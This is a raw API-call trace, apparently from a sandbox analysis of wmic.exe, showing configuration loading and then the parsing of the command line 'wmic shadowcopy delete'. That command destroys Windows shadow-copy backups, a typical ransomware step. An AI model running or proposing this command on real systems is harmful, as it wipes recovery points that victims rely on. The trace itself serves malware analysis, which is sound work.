0x4 [0166.717] SysStringLen (param_1="PKT") returned 0x3 [0166.717] malloc (_Size=0x30) returned 0x2119b695f30 [0166.717] malloc (_Size=0x18) returned 0x2119b695f70 [0166.717] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0166.717] SysStringLen (param_1="DEFAULT") returned 0x7 [0166.717] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0166.717] SysStringLen (param_1="NONE") returned 0x4 [0166.717] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0166.717] SysStringLen (param_1="PKT") returned 0x3 [0166.717] SysStringLen (param_1="PKT") returned 0x3 [0166.717] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0166.717] malloc (_Size=0x30) returned 0x2119b69aa50 [0166.717] malloc (_Size=0x18) returned 0x2119b695f90 [0166.717] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0166.717] SysStringLen (param_1="DEFAULT") returned 0x7 [0166.717] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0166.717] SysStringLen (param_1="PKT") returned 0x3 [0166.717] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0166.717] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0166.717] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0166.717] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0166.718] malloc (_Size=0x30) returned 0x2119b69a810 [0166.718] malloc (_Size=0x40) returned 0x2119b695fb0 [0166.718] malloc (_Size=0x20a) returned 0x2119b69b010 [0166.718] GetSystemDirectoryW (in: lpBuffer=0x2119b69b010, uSize=0x105 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0166.718] free (_Block=0x2119b69b010) [0166.718] malloc (_Size=0x18) returned 0x2119b696000 [0166.718] malloc (_Size=0x18) returned 0x2119b69b010 [0166.718] malloc (_Size=0x18) returned 0x2119b69b030 [0166.718] SysStringLen (param_1="C:\\WINDOWS\\system32") returned 0x13 [0166.718] SysStringLen (param_1="\\wbem\\") returned 0x6 [0166.718] free (_Block=0x2119b696000) [0166.718] free (_Block=0x2119b69b010) [0166.718] SysStringByteLen (bstr="C:\\WINDOWS\\system32\\wbem\\") returned 0x32 [0166.718] free (_Block=0x2119b69b030) [0166.718] malloc (_Size=0x18) returned 0x2119b69b2c0 [0166.718] malloc (_Size=0x18) returned 0x2119b69b3a0 [0166.718] malloc (_Size=0x18) returned 0x2119b69b080 [0166.718] SysStringLen (param_1="C:\\WINDOWS\\system32\\wbem\\") returned 0x19 [0166.718] SysStringLen (param_1="XSL-Mappings.xml") returned 0x10 [0166.719] free (_Block=0x2119b69b2c0) [0166.719] free (_Block=0x2119b69b3a0) [0166.719] GetCurrentThreadId () returned 0xd4c [0166.719] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Wbem\\CIMOM", ulOptions=0x0, samDesired=0x1, phkResult=0x6dd898f580 | out: phkResult=0x6dd898f580*=0x15c) returned 0x0 [0166.719] RegQueryValueExW (in: hKey=0x15c, lpValueName="Logging", lpReserved=0x0, lpType=0x0, lpData=0x6dd898f5d0, lpcbData=0x6dd898f570*=0x400 | out: lpType=0x0, lpData=0x6dd898f5d0*=0x30, lpcbData=0x6dd898f570*=0x4) returned 0x0 [0166.719] _wcsicmp (_String1="0", _String2="1") returned -1 [0166.719] _wcsicmp (_String1="0", _String2="2") returned -2 [0166.719] RegQueryValueExW (in: hKey=0x15c, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x6dd898f570*=0x4 | out: lpType=0x0, lpData=0x0, lpcbData=0x6dd898f570*=0x42) returned 0x0 [0166.719] malloc (_Size=0x86) returned 0x2119b69b420 [0166.719] RegQueryValueExW (in: hKey=0x15c, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x2119b69b420, lpcbData=0x6dd898f570*=0x42 | out: lpType=0x0, lpData=0x2119b69b420*=0x25, lpcbData=0x6dd898f570*=0x42) returned 0x0 [0166.719] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0166.719] malloc (_Size=0x42) returned 0x2119b69b4b0 [0166.719] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0166.719] RegQueryValueExW (in: hKey=0x15c, lpValueName="Log File Max Size", lpReserved=0x0, lpType=0x0, lpData=0x6dd898f5d0, lpcbData=0x6dd898f570*=0x400 | out: lpType=0x0, lpData=0x6dd898f5d0*=0x36, lpcbData=0x6dd898f570*=0xc) returned 0x0 [0166.719] _wtol (_String="65536") returned 65536 [0166.719] free (_Block=0x2119b69b420) [0166.719] RegCloseKey (hKey=0x0) returned 0x6 [0166.719] CoCreateInstance (in: rclsid=0x7ff668840668*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff668840678*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0x6dd898fa70 | out: ppv=0x6dd898fa70*=0x2119b666f20) returned 0x0 [0170.168] FreeThreadedDOMDocument:IXMLDOMDocument:load (in: This=0x2119b666f20, xmlSource=0x6dd898fbb0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\WINDOWS\\system32\\wbem\\XSL-Mappings.xml", varVal2=0x0), isSuccessful=0x6dd898fc20 | out: isSuccessful=0x6dd898fc20*=0xffff) returned 0x0 [0173.719] FreeThreadedDOMDocument:IXMLDOMDocument:get_documentElement (in: This=0x2119b666f20, DOMElement=0x6dd898fa78 | out: DOMElement=0x6dd898fa78*=0x2119b6694b0) returned 0x0 [0173.739] malloc (_Size=0x18) returned 0x2119b69b3e0 [0174.707] free (_Block=0x2119b69b3e0) [0174.708] malloc (_Size=0x18) returned 0x2119b69b2a0 [0174.710] free (_Block=0x2119b69b2a0) [0174.710] malloc (_Size=0x18) returned 0x2119b69b3a0 [0174.710] malloc (_Size=0x18) returned 0x2119b69b360 [0174.710] malloc (_Size=0x30) returned 0x2119b69a790 [0174.710] malloc (_Size=0x18) returned 0x2119b69b2c0 [0174.710] free (_Block=0x2119b69b2c0) [0174.710] malloc (_Size=0x18) returned 0x2119b69b160 [0174.710] malloc (_Size=0x18) returned 0x2119b69b300 [0174.710] SysStringLen (param_1="VALUE") returned 0x5 [0174.711] SysStringLen (param_1="TABLE") returned 0x5 [0174.711] SysStringLen (param_1="TABLE") returned 0x5 [0174.711] SysStringLen (param_1="VALUE") returned 0x5 [0174.711] malloc (_Size=0x30) returned 0x2119b69a890 [0174.711] malloc (_Size=0x18) returned 0x2119b69b340 [0174.711] free (_Block=0x2119b69b340) [0174.711] malloc (_Size=0x18) returned 0x2119b69b060 [0174.711] malloc (_Size=0x18) returned 0x2119b69b2a0 [0174.711] SysStringLen (param_1="LIST") returned 0x4 [0174.711] SysStringLen (param_1="TABLE") returned 0x5 [0174.711] malloc (_Size=0x30) returned 0x2119b69a490 [0174.712] malloc (_Size=0x18) returned 0x2119b69b120 [0174.712] free (_Block=0x2119b69b120) [0174.712] malloc (_Size=0x18) returned 0x2119b69b2e0 [0174.712] malloc (_Size=0x18) returned 0x2119b69b280 [0174.712] SysStringLen (param_1="RAWXML") returned 0x6 [0174.712] SysStringLen (param_1="TABLE") returned 0x5 [0174.712] SysStringLen (param_1="RAWXML") returned 0x6 [0174.712] SysStringLen (param_1="LIST") returned 0x4 [0174.712] SysStringLen (param_1="LIST") returned 0x4 [0174.712] SysStringLen (param_1="RAWXML") returned 0x6 [0174.712] malloc (_Size=0x30) returned 0x2119b69a590 [0174.712] malloc (_Size=0x18) returned 0x2119b69b380 [0174.712] free (_Block=0x2119b69b380) [0174.712] malloc (_Size=0x18) returned 0x2119b69b0a0 [0174.712] malloc (_Size=0x18) returned 0x2119b69b120 [0174.712] SysStringLen (param_1="HTABLE") returned 0x6 [0174.713] SysStringLen (param_1="TABLE") returned 0x5 [0174.713] SysStringLen (param_1="HTABLE") returned 0x6 [0174.713] SysStringLen (param_1="LIST") returned 0x4 [0174.713] malloc (_Size=0x30) returned 0x2119b69aa90 [0174.713] malloc (_Size=0x18) returned 0x2119b69b320 [0174.713] free (_Block=0x2119b69b320) [0174.713] malloc (_Size=0x18) returned 0x2119b69b180 [0174.713] malloc (_Size=0x18) returned 0x2119b69b240 [0174.713] SysStringLen (param_1="HFORM") returned 0x5 [0174.713] SysStringLen (param_1="TABLE") returned 0x5 [0174.713] SysStringLen (param_1="HFORM") returned 0x5 [0174.713] SysStringLen (param_1="LIST") returned 0x4 [0174.713] SysStringLen (param_1="HFORM") returned 0x5 [0174.713] SysStringLen (param_1="HTABLE") returned 0x6 [0174.713] malloc (_Size=0x30) returned 0x2119b69ab50 [0174.713] malloc (_Size=0x18) returned 0x2119b69b140 [0174.714] free (_Block=0x2119b69b140) [0174.714] malloc (_Size=0x18) returned 0x2119b69b0e0 [0174.714] malloc (_Size=0x18) returned 0x2119b69b320 [0174.714] SysStringLen (param_1="XML") returned 0x3 [0174.714] SysStringLen (param_1="TABLE") returned 0x5 [0174.714] SysStringLen (param_1="XML") returned 0x3 [0174.714] SysStringLen (param_1="VALUE") returned 0x5 [0174.714] SysStringLen (param_1="VALUE") returned 0x5 [0174.714] SysStringLen (param_1="XML") returned 0x3 [0174.714] malloc (_Size=0x30) returned 0x2119b69a750 [0174.714] malloc (_Size=0x18) returned 0x2119b69b3c0 [0174.715] free (_Block=0x2119b69b3c0) [0174.715] malloc (_Size=0x18) returned 0x2119b69b1a0 [0174.715] malloc (_Size=0x18) returned 0x2119b69b140 [0174.715] SysStringLen (param_1="MOF") returned 0x3 [0174.715] SysStringLen (param_1="TABLE") returned 0x5 [0174.715] SysStringLen (param_1="MOF") returned 0x3 [0174.715] SysStringLen (param_1="LIST") returned 0x4 [0174.715] SysStringLen (param_1="MOF") returned 0x3 [0174.715] SysStringLen (param_1="RAWXML") returned 0x6 [0174.715] SysStringLen (param_1="LIST") returned 0x4 [0174.715] SysStringLen (param_1="MOF") returned 0x3 [0174.715] malloc (_Size=0x30) returned 0x2119b69a7d0 [0174.715] malloc (_Size=0x18) returned 0x2119b69b1c0 [0174.715] free (_Block=0x2119b69b1c0) [0174.715] malloc (_Size=0x18) returned 0x2119b69b1c0 [0174.715] malloc (_Size=0x18) returned 0x2119b69b2c0 [0174.715] SysStringLen (param_1="CSV") returned 0x3 [0174.715] SysStringLen (param_1="TABLE") returned 0x5 [0174.715] SysStringLen (param_1="CSV") returned 0x3 [0174.715] SysStringLen (param_1="LIST") returned 0x4 [0174.716] SysStringLen (param_1="CSV") returned 0x3 [0174.716] SysStringLen (param_1="HTABLE") returned 0x6 [0174.716] SysStringLen (param_1="CSV") returned 0x3 [0174.716] SysStringLen (param_1="HFORM") returned 0x5 [0174.716] malloc (_Size=0x30) returned 0x2119b69a4d0 [0174.716] malloc (_Size=0x18) returned 0x2119b69b260 [0174.716] free (_Block=0x2119b69b260) [0174.716] malloc (_Size=0x18) returned 0x2119b69b1e0 [0174.716] malloc (_Size=0x18) returned 0x2119b69b3c0 [0174.716] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.716] SysStringLen (param_1="TABLE") returned 0x5 [0174.716] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.716] SysStringLen (param_1="VALUE") returned 0x5 [0174.716] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.716] SysStringLen (param_1="XML") returned 0x3 [0174.716] SysStringLen (param_1="XML") returned 0x3 [0174.717] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.717] malloc (_Size=0x30) returned 0x2119b69a550 [0174.717] malloc (_Size=0x18) returned 0x2119b69b340 [0174.717] free (_Block=0x2119b69b340) [0174.717] malloc (_Size=0x18) returned 0x2119b69b0c0 [0174.717] malloc (_Size=0x18) returned 0x2119b69b3e0 [0174.717] SysStringLen (param_1="texttablewsys") returned 0xd [0174.717] SysStringLen (param_1="TABLE") returned 0x5 [0174.717] SysStringLen (param_1="texttablewsys") returned 0xd [0174.717] SysStringLen (param_1="XML") returned 0x3 [0174.717] SysStringLen (param_1="texttablewsys") returned 0xd [0174.717] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.717] SysStringLen (param_1="XML") returned 0x3 [0174.717] SysStringLen (param_1="texttablewsys") returned 0xd [0174.717] malloc (_Size=0x30) returned 0x2119b69a850 [0174.718] malloc (_Size=0x18) returned 0x2119b69b380 [0174.718] free (_Block=0x2119b69b380) [0174.718] malloc (_Size=0x18) returned 0x2119b69b340 [0174.718] malloc (_Size=0x18) returned 0x2119b69b100 [0174.718] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0174.718] SysStringLen (param_1="TABLE") returned 0x5 [0174.718] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0174.718] SysStringLen (param_1="XML") returned 0x3 [0174.718] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0174.718] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.718] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.718] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0174.718] malloc (_Size=0x30) returned 0x2119b69a8d0 [0174.718] malloc (_Size=0x18) returned 0x2119b69b220 [0174.718] free (_Block=0x2119b69b220) [0174.718] malloc (_Size=0x18) returned 0x2119b69b200 [0174.718] malloc (_Size=0x18) returned 0x2119b69b260 [0174.719] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0174.719] SysStringLen (param_1="TABLE") returned 0x5 [0174.719] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0174.719] SysStringLen (param_1="XML") returned 0x3 [0174.719] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0174.719] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.719] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0174.719] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0174.719] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.719] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0174.719] malloc (_Size=0x30) returned 0x2119b69a950 [0174.719] malloc (_Size=0x18) returned 0x2119b69b220 [0174.719] free (_Block=0x2119b69b220) [0174.719] malloc (_Size=0x18) returned 0x2119b69b220 [0174.719] malloc (_Size=0x18) returned 0x2119b69b380 [0174.719] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0174.719] SysStringLen (param_1="TABLE") returned 0x5 [0174.719] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0174.719] SysStringLen (param_1="XML") returned 0x3 [0174.719] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0174.719] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.719] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0174.719] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0174.720] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0174.720] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0174.720] malloc (_Size=0x30) returned 0x2119b69ab90 [0174.720] malloc (_Size=0x18) returned 0x2119b69dc90 [0174.720] free (_Block=0x2119b69dc90) [0174.720] malloc (_Size=0x18) returned 0x2119b69de90 [0174.720] malloc (_Size=0x18) returned 0x2119b69d9b0 [0174.720] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0174.720] SysStringLen (param_1="TABLE") returned 0x5 [0174.720] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0174.720] SysStringLen (param_1="XML") returned 0x3 [0174.720] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0174.720] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.720] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0174.720] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0174.720] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0174.721] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0174.721] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0174.721] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0174.721] malloc (_Size=0x30) returned 0x2119b69a910 [0174.721] malloc (_Size=0x18) returned 0x2119b69df30 [0174.721] free (_Block=0x2119b69df30) [0174.721] malloc (_Size=0x18) returned 0x2119b69db90 [0174.721] malloc (_Size=0x18) returned 0x2119b69dc50 [0174.721] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0174.721] SysStringLen (param_1="TABLE") returned 0x5 [0174.721] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0174.721] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.721] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0174.721] SysStringLen (param_1="XML") returned 0x3 [0174.721] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0174.721] SysStringLen (param_1="texttablewsys") returned 0xd [0174.721] SysStringLen (param_1="XML") returned 0x3 [0174.721] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0174.721] malloc (_Size=0x30) returned 0x2119b69a610 [0174.722] malloc (_Size=0x18) returned 0x2119b69dcb0 [0174.722] free (_Block=0x2119b69dcb0) [0174.722] malloc (_Size=0x18) returned 0x2119b69dc10 [0174.722] malloc (_Size=0x18) returned 0x2119b69db70 [0174.722] SysStringLen (param_1="htable-sortby") returned 0xd [0174.722] SysStringLen (param_1="TABLE") returned 0x5 [0174.722] SysStringLen (param_1="htable-sortby") returned 0xd [0174.722] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.722] SysStringLen (param_1="htable-sortby") returned 0xd [0174.722] SysStringLen (param_1="XML") returned 0x3 [0174.722] SysStringLen (param_1="htable-sortby") returned 0xd [0174.722] SysStringLen (param_1="texttablewsys") returned 0xd [0174.722] SysStringLen (param_1="htable-sortby") returned 0xd [0174.722] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0174.722] SysStringLen (param_1="XML") returned 0x3 [0174.722] SysStringLen (param_1="htable-sortby") returned 0xd [0174.722] malloc (_Size=0x30) returned 0x2119b69a710 [0174.722] malloc (_Size=0x18) returned 0x2119b69df10 [0174.723] free (_Block=0x2119b69df10) [0174.723] malloc (_Size=0x18) returned 0x2119b69d8b0 [0174.723] malloc (_Size=0x18) returned 0x2119b69db10 [0174.723] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0174.723] SysStringLen (param_1="TABLE") returned 0x5 [0174.723] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0174.723] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.723] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0174.723] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0174.723] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0174.723] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0174.723] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.723] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0174.723] malloc (_Size=0x30) returned 0x2119b69a990 [0174.723] malloc (_Size=0x18) returned 0x2119b69db30 [0174.723] free (_Block=0x2119b69db30) [0174.723] malloc (_Size=0x18) returned 0x2119b69dbb0 [0174.723] malloc (_Size=0x18) returned 0x2119b69dc70 [0174.724] SysStringLen (param_1="wmiclimofformat") returned 0xf [0174.724] SysStringLen (param_1="TABLE") returned 0x5 [0174.724] SysStringLen (param_1="wmiclimofformat") returned 0xf [0174.724] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.724] SysStringLen (param_1="wmiclimofformat") returned 0xf [0174.724] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0174.724] SysStringLen (param_1="wmiclimofformat") returned 0xf [0174.724] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0174.724] SysStringLen (param_1="wmiclimofformat") returned 0xf [0174.724] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0174.724] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.724] SysStringLen (param_1="wmiclimofformat") returned 0xf [0174.724] malloc (_Size=0x30) returned 0x2119b69a510 [0174.724] malloc (_Size=0x18) returned 0x2119b69da90 [0174.724] free (_Block=0x2119b69da90) [0174.724] malloc (_Size=0x18) returned 0x2119b69dd70 [0174.724] malloc (_Size=0x18) returned 0x2119b69dfd0 [0174.724] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0174.724] SysStringLen (param_1="TABLE") returned 0x5 [0174.724] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0174.725] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.725] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0174.725] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0174.725] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0174.725] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0174.725] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0174.725] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0174.725] malloc (_Size=0x30) returned 0x2119b69a650 [0174.725] malloc (_Size=0x18) returned 0x2119b69dbd0 [0174.725] free (_Block=0x2119b69dbd0) [0174.725] malloc (_Size=0x18) returned 0x2119b69dcf0 [0174.725] malloc (_Size=0x18) returned 0x2119b69dbd0 [0174.725] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0174.725] SysStringLen (param_1="TABLE") returned 0x5 [0174.725] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0174.725] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.725] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0174.725] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0174.725] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0174.725] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0174.725] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0174.725] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0174.726] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0174.726] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0174.726] malloc (_Size=0x30) returned 0x2119b69a690 [0174.726] FreeThreadedDOMDocument:IUnknown:Release (This=0x2119b6694b0) returned 0x1 [0174.726] FreeThreadedDOMDocument:IUnknown:Release (This=0x2119b666f20) returned 0x0 [0174.726] free (_Block=0x2119b69b080) [0174.726] GetCommandLineW () returned="wmic shadowcopy delete" [0174.876] malloc (_Size=0x30) returned 0x2119b69ab10 [0174.876] memcpy_s (in: _Destination=0x2119b69ab10, _DestinationSize=0x2e, _Source=0x2119b43211c, _SourceSize=0x2e | out: _Destination=0x2119b69ab10) returned 0x0 [0174.877] malloc (_Size=0x18) returned 0x2119b69dc90 [0174.877] malloc (_Size=0x18) returned 0x2119b69df30 [0174.877] malloc (_Size=0x18) returned 0x2119b69ddf0 [0174.877] malloc (_Size=0x18) returned 0x2119b69dd10 [0174.877] malloc (_Size=0x80) returned 0x2119b69b420 [0174.877] GetLocalTime (in: lpSystemTime=0x6dd898fc98 | out: lpSystemTime=0x6dd898fc98*(wYear=0x7e3, wMonth=0x5, wDayOfWeek=0x4, wDay=0x10, wHour=0xb, wMinute=0x2a, wSecond=0x2, wMilliseconds=0x99)) [0174.877] _vsnwprintf (in: _Buffer=0x2119b69b420, _BufferCount=0x3f, _Format="%.2d-%.2d-%.4dT%.2d:%.2d:%.2d", _ArgList=0x6dd898fb48 | out: _Buffer="05-16-2019T11:42:02") returned 19 [0174.877] lstrlenW (lpString=" shadowcopy delete") returned 19 [0174.877] malloc (_Size=0x28) returned 0x2119b696000 [0174.877] lstrlenW (lpString=" shadowcopy delete") returned 19 [0174.877] lstrlenW (lpString=" shadowcopy delete") returned 19 [0174.877] malloc (_Size=0x28) returned 0x2119b69e050 [0174.877] lstrlenW (lpString=" shadowcopy delete") returned 19 [0174.877] lstrlenW (lpString=" shadowcopy delete") returned 19 [0174.877] lstrlenW (lpString=" shadowcopy delete") returned 19 [0174.877] malloc (_Size=0x16) returned 0x2119b69de70 [0174.877] lstrlenW (lpString="shadowcopy") returned 10 [0174.877] _wcsicmp (_String1="shadowcopy", _String2="\"NULL\"") returned 81 [0174.877] malloc (_Size=0x16) returned 0x2119b69de50 [0174.877] malloc (_Size=0x8) returned 0x2119b69e080 [0174.877] free (_Block=0x0) [0174.877] free (_Block=0x2119b69de70) [0174.877] lstrlenW (lpString=" shadowcopy delete") returned 19 [0174.877] malloc (_Size=0xe) returned 0x2119b69de10 [0174.877] lstrlenW (lpString="delete") returned 6 [0174.877] _wcsicmp (_String1="delete", _String2="\"NULL\"") returned 66 [0174.877] malloc (_Size=0xe) returned 0x2119b69dd50 [0174.877] malloc (_Size=0x10) returned 0x2119b69ded0 [0174.877] memmove_s (in: _Destination=0x2119b69ded0, _DestinationSize=0x8, _Source=0x2119b69e080, _SourceSize=0x8 | out: _Destination=0x2119b69ded0) returned 0x0 [0174.877] free (_Block=0x2119b69e080) [0174.877] free (_Block=0x0) [0174.877] free (_Block=0x2119b69de10) [0174.878] malloc (_Size=0x10) returned 0x2119b69dbf0 [0174.878] lstrlenW (lpString="QUIT") returned 4 [0174.878] lstrlenW (lpString="shadowcopy") returned 10 [0174.878] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="QUIT", cchCount2=4) returned 3 [0174.878] lstrlenW (lpString="EXIT") returned 4 [0174.878] lstrlenW (lpString="shadowcopy") returned 10 [0174.878] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="EXIT", cchCount2=4) returned 3 [0174.878] free (_Block=0x2119b69dbf0) [0174.878] WbemLocator:IUnknown:AddRef (This=0x2119b44c1d0) returned 0x2 [0174.878] malloc (_Size=0x10) returned 0x2119b69dcb0 [0174.878] lstrlenW (lpString="/") returned 1 [0174.878] lstrlenW (lpString="shadowcopy") returned 10 [0174.878] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="/", cchCount2=1) returned 3 [0174.878] lstrlenW (lpString="-") returned 1 [0174.878] lstrlenW (lpString="shadowcopy") returned 10 [0174.878] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="-", cchCount2=1) returned 3 [0174.878] lstrlenW (lpString="CLASS") returned 5 [0174.878] lstrlenW (lpString="shadowcopy") returned 10 [0174.878] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CLASS", cchCount2=5) returned 3 [0174.878] lstrlenW (lpString="PATH") returned 4 [0174.878] lstrlenW (lpString="shadowcopy") returned 10 [0174.878] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="PATH", cchCount2=4) returned 3 [0174.878] lstrlenW (lpString="CONTEXT") returned 7 [0174.878] lstrlenW (lpString="shadowcopy") returned 10 [0174.878] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CONTEXT", cchCount2=7) returned 3 [0174.878] lstrlenW (lpString="shadowcopy") returned 10 [0174.878] malloc (_Size=0x16) returned 0x2119b69d930 [0174.878] lstrlenW (lpString="shadowcopy") returned 10 [0174.878] GetCurrentThreadId () returned 0xd4c [0174.878] ??0CHString@@QEAA@XZ () returned 0x6dd898fa00 [0174.878] malloc (_Size=0x18) returned 0x2119b69dd90 [0174.878] malloc (_Size=0x18) returned 0x2119b69de70 [0174.879] WbemLocator:IWbemLocator:ConnectServer (in: This=0x2119b44c1d0, strNetworkResource="root\\cli", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x7ff668857898 | out: ppNamespace=0x7ff668857898*=0x2119b4a44d0) returned 0x0 [0175.482] free (_Block=0x2119b69de70) [0175.482] free (_Block=0x2119b69dd90) [0175.482] CoSetProxyBlanket (pProxy=0x2119b4a44d0, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0175.483] ??1CHString@@QEAA@XZ () returned 0x7ffe7f77674c [0175.483] GetCurrentThreadId () returned 0xd4c [0175.483] ??0CHString@@QEAA@XZ () returned 0x6dd898f898 [0175.483] malloc (_Size=0x18) returned 0x2119b69df90 [0175.483] malloc (_Size=0x18) returned 0x2119b69e010 [0175.483] malloc (_Size=0x18) returned 0x2119b69dd30 [0175.483] malloc (_Size=0x18) returned 0x2119b69ddd0 [0175.483] SysStringLen (param_1="root\\cli") returned 0x8 [0175.483] SysStringLen (param_1="\\") returned 0x1 [0175.483] malloc (_Size=0x18) returned 0x2119b69dbf0 [0175.483] SysStringLen (param_1="root\\cli\\") returned 0x9 [0175.483] SysStringLen (param_1="ms_409") returned 0x6 [0175.483] free (_Block=0x2119b69ddd0) [0175.484] free (_Block=0x2119b69dd30) [0175.484] free (_Block=0x2119b69e010) [0175.484] free (_Block=0x2119b69df90) 